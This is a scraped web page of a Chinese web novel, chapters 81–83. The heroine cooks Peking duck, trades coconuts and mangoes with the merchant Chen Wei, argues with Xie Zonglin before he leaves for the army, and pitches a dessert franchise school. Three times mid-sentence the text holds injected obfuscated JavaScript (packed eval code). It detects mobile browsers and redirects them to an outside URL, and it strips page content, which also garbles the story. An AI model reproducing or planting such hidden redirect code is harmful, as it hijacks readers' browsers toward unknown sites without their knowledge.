好安停下笔，视线转向已经睡着的王宁，开口说道：“我手里还有不少的方子……” 81. 烤鸭 上船时菠萝蜜还绿的发硬，这几天已经发软发黄了，再放下去怕是会发酵发霉。 好安便把它们熬成果酱，和牛奶一起加入冰里，再搅成泥沙做成冰酪，或者直接淋在碎冰上。 前者比酥山更精致，深受达官贵人们喜爱，后者便宜大碗，平民百姓也吃得起，大受欢迎。 一日，好安得闲。 “东家，你有时间做个千层吗？”好记的伙计捧着册子对好安说道：“今天钱录事的千金定了一个六寸的抹茶千层，明天未时来取。” 天气越热，各府的少爷小姐们越爱买奶油制品。原因无它，又贵又好吃。 夏天带奶油的甜品和冬天完全不是一个价。温度高时奶油容易化，这类甜品不论是送货上门还是打包带走，都要用到好记自产自销的移动冰鉴。内层放甜品，外层放冰块，力保周围三百六十度都是凉飕飕的，而这笔钱需要单独付，美其名曰：包装费。 借着这攀比的风气，好安把毛巾卷、千层、班戟、慕斯这些容易化的甜品全都上架了。 “这不应该朱婶做吗？”好安说道。 朱婶是后买来的，接张叔一家在厨房的活计。 “朱婶是在做，可她那个千层皮一直烙不好。已经在厨房烙了半个时辰了也没烙出几张能用的。”伙计尴尬的笑了笑：“她想请您过去看看。” 朱婶做的千层皮要不是有洞，有洞了就加面糊补，然后越补越厚，要不就是倒进去还没摊开底子已经成型了。 “温度太高了。”好安灭掉大半的火，只留一簇微弱的火苗。 “倒面糊的时候锅里要有一点声音。没有声音的话可能是温度不够，声音太大的凉了后容易脆……”好安三两下烙了十几张，道：“这个就是多练，练练手感就有了。” “那我在试试。”朱婶不好意思的说道。一块饼皮居然浪费了东家一盆的面糊。 火苗变小，其他地方热不到，朱婶便端着来回锅移动，虽然慢了些但渐渐有些模样了。 好安翻了翻烙坏的千层皮，虽然不能做千层但能吃。 这东西看起来和北京烤鸭的皮大差不差，好安灵机一动，那今天就卷鸭子吃吧！ 平陵什么都可能没有，但鸭子不会。 到卖菜的那些巷口街道，隔三家就有一家是卖鸭子的，可见平陵人对鸭子的喜爱。 好安挑了一只肥厚多肉的，让店家现场处理好，回去就能直接腌上。 腌好的鸭子还要做个“人工呼吸”，用芦杆从鸭子的颈部塞入，吹气分离皮肉，这样后面可以烤出更多的油脂。然后淋热水收缩毛孔，朝肚子里塞调料。 烤鸭都是色泽红亮的，直接烤可烤不出这个颜色。还要用麦芽糖、醋、水做脆皮水刷在鸭子表面。 之后就是风干，风干后用面粉和鸡蛋清兑水再刷再风干才能进烤箱。 烤鸭的火候也十分重要，温度太高外表糊了里面还没熟，太低也不行。长时间低温就是焖熟而不是烤熟，不仅皮肉分离，鸭肉还又干又柴。 等蒸好甜面酱，已经是傍晚。大师一只鸭子能片一百二十片，好安加上犄角旮旯最多六十片。 好在鸭皮足够酥脆、鸭肉足够鲜嫩，裹上醇厚的甜面酱，再夹着爽脆的葱丝和胡瓜丝，一口下去一样回味无穷。 最后连骨头都啃的干干净净。 看来下次得烤两只。 “嗝。”好昕吃饱喝足的回屋看书了，院里又只剩下谢宗林和好安两人。 好安抬手将碗筷收在一处，关心道：“你最近怎么了？感觉干什么都愁眉不展，心不在焉的。” “啊？”谢宗林堪堪回神。 好安前倾大声：“我说你最近总是出神。” 谢宗林摸了摸鼻子，说道：“我在想朝廷剿匪的事。大家都在说这次出征兵力不足，士兵也不适应樾州的气候。” 朝廷的兵马已经到了樾州，可主力军都是北边或者西北边的，几次交锋都没有好消息传来。 “异地难免的嘛。” 水土不服好安倒觉得正常。 一个太阳再大，找个树荫就凉快不少。一个就是蒸笼，还怕你蒸干了时不时的给你加点水。 能适应就怪了。 樾州也不是没有南边的兵力，但南边不是政治中心，兵力本就偏少，而且在朝廷没派兵之前一直是南边的将士在挺着。 这件事在巷口邻里间并没有引起太大的关注。朝廷没有征兵，平陵又繁荣已久，相比于天高水远的樾州，百姓更关注今天菜钱几何。 但平陵的学子们对此事甚为关心，好记里经常会有学子高谈阔论。 好安偶尔也听上一耳朵，什么主帅不愿出兵，什么三皇子甩锅…… 反正都不是什么好消息。 谢宗林忽然道：“你说……” 好安不明所以：“说什么？” “你说朝廷会不会征兵。”谢宗林犹豫了一下还是说出了来。 “按照这个趋势应该会吧。”好记想了想说道。 征兵也征不到她家，好安对这个到不担心。大晏虽然没有人口失踪多久就判为死亡的规定，但自从知道要打仗后，好安就找了个理由请全村人做个见证，给他爹立了个衣冠冢，并找关系把他爹销户了。 她也打听清楚了，他爹当面一声不吭离家出走是为了求仙问道。 这种抛妻弃女，六七年了无音讯的人不管活没活着都是死了。 好昕没见过他，没有父子情，好安更没。 好安见谢宗林愁眉不展，便安慰道：“这事你更不用愁。” 你都没有户口。 “还是想点开心的事吧，说不定过一阵子就有好消息传来了呢！”好安抿了抿嘴巴，说道：“我最近左眼皮总是跳，说不定好消息明天就来！” 都说左眼皮跳跳好事要来到。 第二日，好安刚洗漱完，前头就有人来找，说码头有一个姓陈的老丈找她。 姓陈的她倒是认识两三个，但姓陈的老丈她想了一圈也没想到一人，但好安还是去了码头。 码头依旧繁忙，纤夫、脚夫、商贩的声音此起彼伏。 “咦？刚刚那个人就在这的！”帮忙传音的小郎君疑惑道。 好安：“是不是你听岔了？” “不会啊，他说得很清楚找好记的东家好安。”小郎君掏出五个铜板：“他还给我钱了呢。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15423639|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 对方都给钱了看来不是恶作剧，好安双手搭在脑门上四处张望。 今天码头人格外的多，几乎所有茶水摊都坐满了，好安找得破为费力。 正在她准备放弃的时候，一道熟悉而又年富力强的声音传来。 “好小娘子这里！” 好安回头一看，果然是熟人。 就是……有朋自远方来，毫无预兆。 陈卫一手粥，一手饼，乐呵呵地跑了过来：“我一接到好小娘子的信就立刻赶了过来。” 好安愣住，不是说是个老丈吗？ “然后呢？不止你一人来的吧？” “对！”陈万刁着饼指了指身后的茶摊，一个老丈朝好安微微欠了欠身。 好安也行礼回敬。 陈万：“我阿公也来了！” “是来商讨船坊投资的事情？”好安问道。 “对，我们商量过了，在一众投资人里选择了你！” 陈万活学活用，投资一词已经融会贯通。 好安正要请陈万和陈阿公去好记详谈，忽然一个皮肤黝黑的汉子跑到陈阿公身边。 “那位是？”好安问道。 陈卫：“那是我们家的船工陈大。” 出门在外带些随从理解。陈阿公那一桌的其他个几人估计也是陈家随从。 陈大不知和陈阿公说了什么，便扶着他起身，然后…… 然后，陈阿公身后乌泱泱的一群人也跟着站了起来。 ？ 好安呆住。 她说今天人怎么这么多，感情是陈家人占了半壁江山。 这一群，百十号人，只多不少。 “那些是我家的工匠和船工。”陈万吸溜了一口稀粥，接着说道：“你上次说的可持续发展我想过了，太有道理！” “所以，你们搬家了？”好安不可置信道。 “不算不算。”陈阿公拄着木棍走上前道：“祖上之地怎会轻易搬迁。” 陈卫立马跟着点点头：“平陵也有港口，又在中间，不论北上还是南下都很方便。我们就在城外租了个庄子准备在平陵可持续发展，就像你说的鸡蛋不能放在一个篮子里，我们也不能守着一个港口。” “你们是坐船来的？”好安问道。 “我们开自己的船来的。”陈卫回答。 “樾州到平陵能通船了？”好安面露惊喜。 陈卫：“当然没有。但朝廷的兵马不是到了嘛，疏通疏通偶尔还是能过来的。” 好安：“这么说樾州战况好转了？” 陈万连忙摇了摇头，叹气道：“输多胜少。” 这种情况下陈家还能过来来怕是疏通的代价不小。 “那你们的船呢？可以直接停平陵的码头？”好安问道。 大晏虽然允许私人造船，但造出的船能不能下水出航是受到市舶司的管理和监督的。 只有拿到市舶司发放的公凭才能合法的进行海上贸易。 “这就不劳好小娘子费心，陈家在海上讨生数十年，公凭自然不成问题。”陈阿公说道。 好安点点头，既然航行没有问题，陈家来平陵对她有利无弊。 82. 越王头 陈卫一行人舟车劳顿，尤其陈阿公年纪大了，精力大不如从前便带着人去庄子上整休，和好安另约了商讨时间。只有陈卫年轻力强、精神抖擞。 他听说好安是卖甜品的就跟着她去了好记。 “这个香、这个嫩、这个酥、这个脆……”陈卫就像一只掉进米缸的老鼠吃嗨了，直接留在好记吃午饭。 好安也不介意，因为陈卫给她带了很多的水果。 最近菠萝蜜果酱大受欢迎，好安还担心菠萝蜜不够，没想到陈卫给她带来十八箱，今年管够。 从樾州直接坐船过来果然快了许多，菠萝蜜比好安带回来的新鲜不少。 除了菠萝蜜还有越王头。 “你说这东西叫越王头？”好安吸溜着硕大的椰子不可置信道。 陈卫：“这个不叫越王头叫什么？” “那长越王头的这个树你们叫什么？不会叫越王树吧。”好安问道。 陈卫：“不啊，叫椰树。” 好安：“桃树结的果子叫桃子，梨树结的果子叫梨子，杏树结的果子叫杏子，那椰树结的果子为什么不叫椰子？” 陈卫：“那当然不行！” 好安：“为什么不行？” “越王头可是有传说故事的。”陈万喝了一口酥酪桑椹酸奶昔，然后学着说书人的模样，拍桌道：“相传，历史上有位越王征战凯旋，回来后大摆筵席庆祝胜利，然一时不察被敌人暗中派来的刺客割下头颅悬挂在旗杆上，并以此为号通知敌军进攻。 没想到当敌人杀进来的时候，他们射出来的箭纷纷被插在了旗杆上。然后旗杆忽然变高变粗最后长成了一颗高高的椰树！树上的箭矢变作椰树叶，而越王的头颅变为椰子……” “你看它就叫椰子！”好安小声对谢宗林吐槽道。 “它不叫椰子，叫越王头！！”陈卫耳朵尖，立马凑过来，强调道：“正是椰子，不越王头化作……” 陈卫一下卡壳了。 越王头化作越王头好像有点不对头。 好安不知从哪掏出一把爪子，说道：“继续，越王头化作越王头没毛病，然后呢？” 对方不介意，陈卫自然更不介意，继续讲了下去：“然后敌人见状都吓破了胆，四下逃散，越人不战而胜！越人认为这是越王显灵在庇佑他的子民。所以将它命名为越王头以示纪念。” 说着，陈卫激动地拿起一个椰子，指着上面的三个点，怼在好安和谢宗林面前道：“你们看这是就是越王的眼睛和嘴巴。” “你说得对！”好安一边拍手叫好，一边点头附和，力所能及的表达自己的肯定。 传说很好，很精彩，但椰子就叫椰子。 不然椰子汁改名叫越王人头汁吗？ 谁还敢喝！ “这些椰子不是樾州产的吧。”好安问道。她在樾州时间不短，可没见过一颗椰子树。 “不是椰子，是越王头。”陈卫说道。 “口误。这些越人头不是樾州产的吧。”好安纠正道。 陈卫：“当然不是，我带来的这些都是西南边的驼南国产的。整个大晏目前只有潭州能长椰树。” 潭州就别想了，朝廷现在对水匪节节败退的很大一部分原因就是水匪把潭州占了，水匪有了修整的地方和稳定的粮食来源，又熟悉环境自然占尽优势。 好安转念一想：“这么说你有驼南国的门路？” “你想从驼南国进越王头？”陈卫立刻洞察了好安的心思。 “对。你觉得可行吗？”好安问道。 “非常不可行！驼南国虽然和大晏接壤，可海运才是最快的，想要海运就要经过樾州。” 说完，陈卫摆开手耸了耸肩。 “那绕过樾州呢？”好安说道：“它又不是从樾州采摘的，樾州不是必经之地。” “绕过樾州？”陈卫蹙眉想了想：“如果要绕过樾州也代表要绕过潭州。这条线我们没走过，但时间肯定拉长了。越人头虽然看着硬实，可最多也就放个二十几天，这还是老的，嫩的连十五天都没。” 陈卫嘴上这么说着但心里已经有些跃跃欲试。从樾州来平陵不就是求一个拓展吗？绕过樾州和潭州何尝不是一种拓展？ “还有内河。”好安沉默半晌，说道：“驼南国内有河流和大晏相连吗？大晏的平江从西到东，地势也是西高东低，夏天还是顺流，行船速度可是千里江陵一日还。” “未尝不可！”陈卫双眼陡然亮起，道：“这是我从没想过的。我现在就回去和阿公商量。” 陈卫走时把桌子上的点心全都打包走了，一片屑子都没留下。 下午，谢宗林和好安在院子里取椰子水和椰子肉。 椰子一头有三个点，也就是陈卫口中的越王眼睛和嘴巴，这一侧是相对较软的。三个点中选择嘴巴位置的那个点，用筷子戳就能戳通。 倒完椰子水，剩下的拔皮拔到硬壳然后用刀背一敲便能打开椰子。 椰肉兑水磨成汁就是椰香醇厚的椰浆。 椰浆用处可多了。和糯米粉能做椰浆糕，和吉利丁能做椰浆布丁，兑进奶茶里又能衍生出好多个新搭配，还可以和菠萝蜜、糯米做成菠萝蜜糯米饭。 “咚”。 谢宗林一个椰子没抓牢，滚到了地上。 “砸到脚了没。”好安连忙凑过去。 “没有。”谢宗林说道。 好安再三确认后才放下心。 “你最近是不是有什么心事？”好安皱眉道：“陈卫来的时候你就心事重重的。你以前可从没这样过！你是不是背着我干了什么坏事？” 谢宗林眨了眨眼睛，一副满腹心事的模样。 好安盯着他的眼睛，说道：“坦白从宽，抗拒从严！” 谢宗林：“朝廷兵力不够可能会征兵的。” 好安：“上次不是和你说过了嘛，你完全没有担心的必要！” “朝廷后面应该会用死囚上战场。” “正常，历朝历代都有这种情况。”好安问道：“你担心这个干什么？” 谢宗林抿了抿嘴，说道：“不出意外这次晒盐场也在范围内，表现出色的人可以减刑或者赦免。” 好安戳椰子的手一下顿住：“你怎么知道？” 不等谢宗林回答，又自言自语道：“上次王宣来信说的？” 谢宗林点点头。 “你在晒盐场不是已经没有亲人了么？”好安说道。 “是没有，但，我不是，还活着么？”谢宗林支支吾吾。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15430597|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你！”好安筷子一仍，脸“唰”一下冷了下来：“上次不是找人问过了吗？你在晒盐场那边已经死亡！” “王宣说这个他来搞定。”谢宗林敛眉道。 好安深吸了几口双手按着椰子，努力平静道：“战况什么样陈卫也说了，现在，不，只要打仗哪个不是九死一生？好好活着不行吗？ 还有那个王宣他看着人模狗样，他安的什么心！” “他也是担心我身份有一天被扒出来，连累，你。”谢宗林小声道，尤其最后一个字说得极轻。 “我要他担心吗？”好安叉着腰道：“战场上刀剑无眼，要是去了生死……” 话说一半，好安突然打住，转而说道：“你是不是已经给他回信了？” 谢宗林猛地僵住。 他太想要一个合法的户籍文书了。 不过一张纸，看似可有可无，没它一样可以呼吸，一样可以活，可没它有些事就一直不敢说出口。 就像阴沟里的老鼠，脏的不止是自己，还会弄脏周围的人。 没说话，看来就是写了。 “你也是拼了命的才从晒盐场逃出来，既然这么想送死，当初何必费劲心思逃出来。” 说完，好安起身，用力踹了一脚地上的椰子壳。 陈卫拿着地图进后院时就看见好安冷着脸一边甩手撩飞一个越王头，一边踹散越王头堆。 “我是不是来的不是时候？”陈卫小心翼翼道。 “没有。”好安背过身去努力平复。 谢宗林一声不吭的把散落的椰子收好。 “我要不还是明天来吧。”陈卫明显感受到后院氛围不对劲。 “就今天！”好安瞬间侧过头，冷冷的盯着陈卫道。 陈卫：“可……” “坐！”好安已经拉开板凳。 “好的。”陈卫正要坐下，却被好安抢先。 原本确实是给陈卫拉的板凳，但是她突然发现这个位置看不到谢宗林，就想都没想坐下了。 “坐这。”好安努力放柔自己的声音，道“内河可行吗？” 好安殊不知刻意放柔的声音在陈卫耳里就像妖精要吃人前的片刻缓冲。 陈卫咽了咽口水，道：“确实有一条可以试试。” 说着他铺开地图，指着西南角道：“还是要过樾州，但不从海上走。可以先从驼南国北部过峥南关进入樾西，然后乘船从玉江到樾东。再从越东入藜江北上，藜江有一条人力修建的通渠，这条渠连通了平江分支芗水，只要从通渠转芗水就可以顺流直下直达平陵。” “人力修建的河道大船能过吗？”好安问道。 陈卫：“好几层的海运大船不确定，但普通的货船肯定可以。” 好安：“大概能要多久？” 陈卫：“不考虑驼南国的部分，应该能控制在十五到二十天内。” “这个天数够了。”好安点头道。 陈卫：“绕过潭州我也和阿公说了，他想两条线并行看看哪个更快。” …… 陈卫说完事后拔腿就走，没有一丝丝留恋。好安见没外人了，便转身回屋，半路被谢宗林拦住。 “不吃不饿，让开。”说完，“碰”一声把房门关上。 83. 芒果 好安一连两天除了必要的工作交流就不搭理谢宗林。 两个人像同一屋檐最熟悉的陌生人，有什么工作以外的事都让好昕转达。 “姐姐，谢大哥明天就走了你去送送吗？”好昕问道。 最近家里气氛微妙，苦的累的不止他们俩，还有他。 “不去。村长来信，明天我要回趟好家村。” 说完，好安拎着满桶的热水准备回屋洗澡，半路，穿了许久的鞋子忽然有一侧鞋面和鞋底的连接处断开了。 这鞋子是谢宗林按照好安的图纸做的，和现在最基础的拖鞋差不多，一侧断了自然没法再穿。 现在她和谢宗林正在冷战，自然不能去找他帮忙。于是，好安自己拿着针线自己研究。 “不就一双鞋么，有什么难的。”好安捏着针线，勉强的把二者缝上。针线歪歪扭扭、杂乱无章，蚯蚓爬的都比它直。 等鞋子缝好，洗澡水都凉了，好安只能再出去打水。 一出房间，便看见谢宗林在院里徘徊。 “看什么看，没看过艺术品啊。”好安见谢宗林目光落在自己鞋子的上，没好气道。 谢宗林连忙侧过身去，结巴道：“没，没看。” 这年代女子的脚算隐私部位。好安平日里都会穿着袜子再穿拖鞋，今天不是鞋子坏了就是水凉了，被气地一时忘了。 好安磨了磨牙，打好水后回屋洗澡。 再出来倒水时，院里已经没了谢宗林的身影，而房门口多了一双新鞋。 好安瞄了瞄周围见四下无人便赶紧拿起鞋子比划了一翻。 大小合适。 但她现在还在气头上呢！ 放下。 第二日，谢宗林背着行李站在门口迟迟不走，还时不时的朝里探头。 “姐姐不回来了，她今天要会好家村，一早就起来了。”好昕说道。 谢宗林眼里闪过失落，他昨晚见鞋子被拿了进去，便以为好安气消了一些，今早能见上一面，没想到她还是没消气呀。 “能出发啦。”陈卫也来送别，说道：“我们出海都讲究个良辰吉日，你出远门想来也差不多。我看现在就不错，再拖下去可就误了良辰啊！” 谢宗林抓了身上的包裹，正要转身离开就见好安也背着个包裹着急忙慌的跑来。 谢宗林连忙调转方向迎了上去。 “给你新买的衣服和鞋。”好安把手里的包裹塞给谢宗林。 “你早上是去买衣服了嘛？”谢宗林轻声问道。 好安：“不然呢？” “那，你是不是消气了？”谢宗林盯着好安的眼睛，小心翼翼的问道。 “没！”好安帮谢宗林理了理衣领，眼眶微红道：“所有你要活着回来。” 谢宗林连连点头。 “这些钱你也带着。”好安又递过一个钱袋子，摸起来里面除了银锭子还有纸票。 “我用不了这么多……”谢宗林正要打开只取一点被好安捏住。 “让你带你就带着。”好安说道：“南方多虫蚁，到了记得多买些香囊挂身上。” “多了熏人，一个就够。”陈卫插话道。 好安立马回头瞪了陈卫一眼，陈卫委屈巴巴的朝好昕身后缩了缩。 干嘛这么凶，他说的都是实话。 “还有，记得多写信回来。” …… 七月末，朝廷征兵十二万，额外的还有八万囚徒。 家家户户送别之后平陵还是一如往日，淮清河畔依旧歌舞升平。 谢宗林离开后好记少了一大助手更是忙得不可开交。 好安又不能时时守在铺子里。她月月要在制糖坊、辣椒作坊和好记之间三点一线的跑。 平陵好记的人流量可比万和县翻了不知多少倍。 好安便把周娟调来平陵。万和县的好记掌柜则另选他人。 陈卫绕行潭州的船队不知是遇到了什么问题久久没有消息，但内河的船队十分顺利。 驼南国除了椰子还有庵罗果，也就是芒果。 芒果极容易成熟，第一次运的时候十之八九都烂在路上。只有极少部分未成熟的勉强撑到了平陵。 可芒果是甜品里面的巨头，好安并不想轻易放弃。 如果用冰镇法将船舱的温度降到十五度以下倒是能把未成熟的芒果保存半月之久。可驼南国的冰简直天价，若是从大晏境内运冰带过去，不仅要花费双倍的冰还会占用去时船上的空间，结算下来价格仍然贵得令人咋舌。 她思来想去决定搞个芒果作坊，专门做芒果干和芒果酱，只不过这个作坊不在陆地在船上。 驼南国毕竟异国他乡，在驼南国建作坊语言、政策、管理一堆的问题。但在船上就不一样了，专门辟出一条大船运芒果，在芒果要成熟的时候再把它们制成果酱。既不浪费也便于管理。 陈卫只管运货，不管这些，只要好安安排好人员他随时可以启航。 这个人选也很难定，能快速学会的人几乎都是雇佣来的，他们一听要坐船远行甚至去异国他乡就都不愿意了。买的人又参差不齐，不说芒果酱，就桃子李子这些常见水果做成的酱不仅味道五花八门，颜色也五彩缤纷。 最后找了林教授家的一批厨娘培训做酱，这也意味着方子就交了出去。 但也不是没有好处，此举相当于把林家也拉上船，有了利益共同体。 随着好记层出不穷的推出新品，渐渐在附近州府也打出来名声。 甜品点心这种东西男女老少都是，好记自然而然成了不少人眼中的香饽饽。 周娟和好安汇报时也提货，不论是平陵还是万和县都有旁敲侧击的打听方子、甚至这个月还有三个人伪装成应聘或者卖身的人混入好记窃取方子。 这还是有王家和林家帮忙拦截的情况下。 这个问题比之前的都棘手。 好安翻来覆去了一个月想了个主意——加盟。 但这个加盟和现代社会的加盟不一样。 大晏在这方面的律法并不完善，而且只要你钱权足够，甚至可以凌驾律法之上。 可好安是个商人，要名要利。既然是名和利之间的事情就让它起于名和利也归于名和利。 十天后，好安便广邀同行和他们好好讲了讲加盟的事情。 “各位可以先看一下桌子上的计划书。” 应邀而来的人极多，甚至不少外地来的也找关系混了进来。好安索性包了半日的临淮楼宴四方来客。 “计划书里面说道的所谓加盟中的员工培训好东家打算如何培训？”有位点心铺老板问道。 这正是众人所关心的，原本还在窃窃私语的众人立刻停止讲话，竖起耳朵。 “我会在平陵城外建一个甜品培训学校。”好安坐在正中间，周娟带着人带好安身后的木板适时的挂上提前准备好的纸。 是的，简易ptt它来了。 “诸位可以选择你们觉得有天赋的人到我这学习，但——”好安格外拉长道：“在学校学习期间，他们都得给我签卖身契。” 话音刚落，四下便沸腾起来。 陈万：“安静——” 好安特意把陈万从万和县 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15435797|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 临时借过来，她从睁眼以来形形色色的人流量见了不少，比陈万嗓门大，声音有穿透力的她还真没见过。 声音渐渐小了下来，立马有人高声问道：“那我家的师傅不就变成你的了吗？” 好安：“是，但这个只是临时的。” “临时？怎么个临时法？” “他在校学习达标后便可以毕业。毕业后我会和诸位给他商讨出一个工作地点。可能在北边也可能在南边。他去到指定地点后我掏钱为他开一个好记甜品。”好安指着身后的附图纸的木板道：“他要在当地不仅开三年的好记，还要赚到一定的银票。时间和银票都达标了，诸位就可以为他赎身了。他和好记便再无关系。” “哗——” 底下又炸了。 陈万：“安静——” 好安抬手下压道：“大家有什么疑问可以举手提问，我都会挨个回答。” “你这就是为自己牟利，用我们的人给你转赚钱！”有些人不服叫嚷道。 “商人牟利有什么错。”好安礼貌笑道：“随便一个作坊收学徒，哪个不是几年内的收入都要孝敬师傅的。我已经免费教他们了，你又觉得他们又不应该给我赚钱，难道你想白嫖？” 底下一阵哄堂大笑。 好安：“觉得加盟不好的人可以门口领一份小蛋糕，慢走不送。” 真让他们走，他们也不走，还是老实坐下来继续听。 “他们多久可以毕业？” “具体时间取决于每个人的天赋，但我们希望时间控制在半年内。”好安说道：“对了。各位最好选一个遵纪守法的，学校有校规，不欢迎刺头。” “校规是什么？” “校纪校规。”说着，好安侧头示意周娟发一下。 卖身契和校纪校规都是用来约束学徒。好安最担心有些人学一点就朝原东家吐一点，这才是白白送了方子，必须掐死。 “学校可以约多少种点心？” “都可以学，但学得越多毕业时间就会延长，相对应银票的要求也会提高。我这也拟了几个点心的大致学习时间，诸位可以看看。” 周娟挂上纸，继续发。 “那银票要求是多少？” “根据所在地的情况决定。比如在平陵三年至少三百两。”好安强调道：“纯盈利三百两。” 众人吸了口气，好安却无动于衷。 一个个偷偷盯好记偷偷算流水，好记能赚多少钱他们也门清，但加上房租，三百两是要费点心思的。 “如果我不用三年就赚到了三百两，那——” “继续开，必须开满三年。” “如果我三年还没赚到三百两，那——” “延长，必须什么时候赚完什么时候才能赎身。” 其实这也是有空挡可以钻的。原东家要是要人想要人就自己掏钱补窟窿。 “赎身钱多少？” “五十两。” 众人松了口气。 “那要是有人不遵守怎么办？” 好安笑笑：“高田县的晒盐场很缺人。” …… 众人一直到掌灯十分才散了。 各家都带着好安大的资料回去商量了。 “我怎么感觉是我们亏了呢？”陈万收好挂纸道。 周娟：“东家会做亏本买卖吗？赶紧收拾你的。” 好安在一旁听见了，笑笑没说话。 怎么做甜品，她会对他们倾孃相授，但有些原料的东西她可没说要教给他们。 比如黄.冰糖、吉利丁、蛋黄酱、芝士……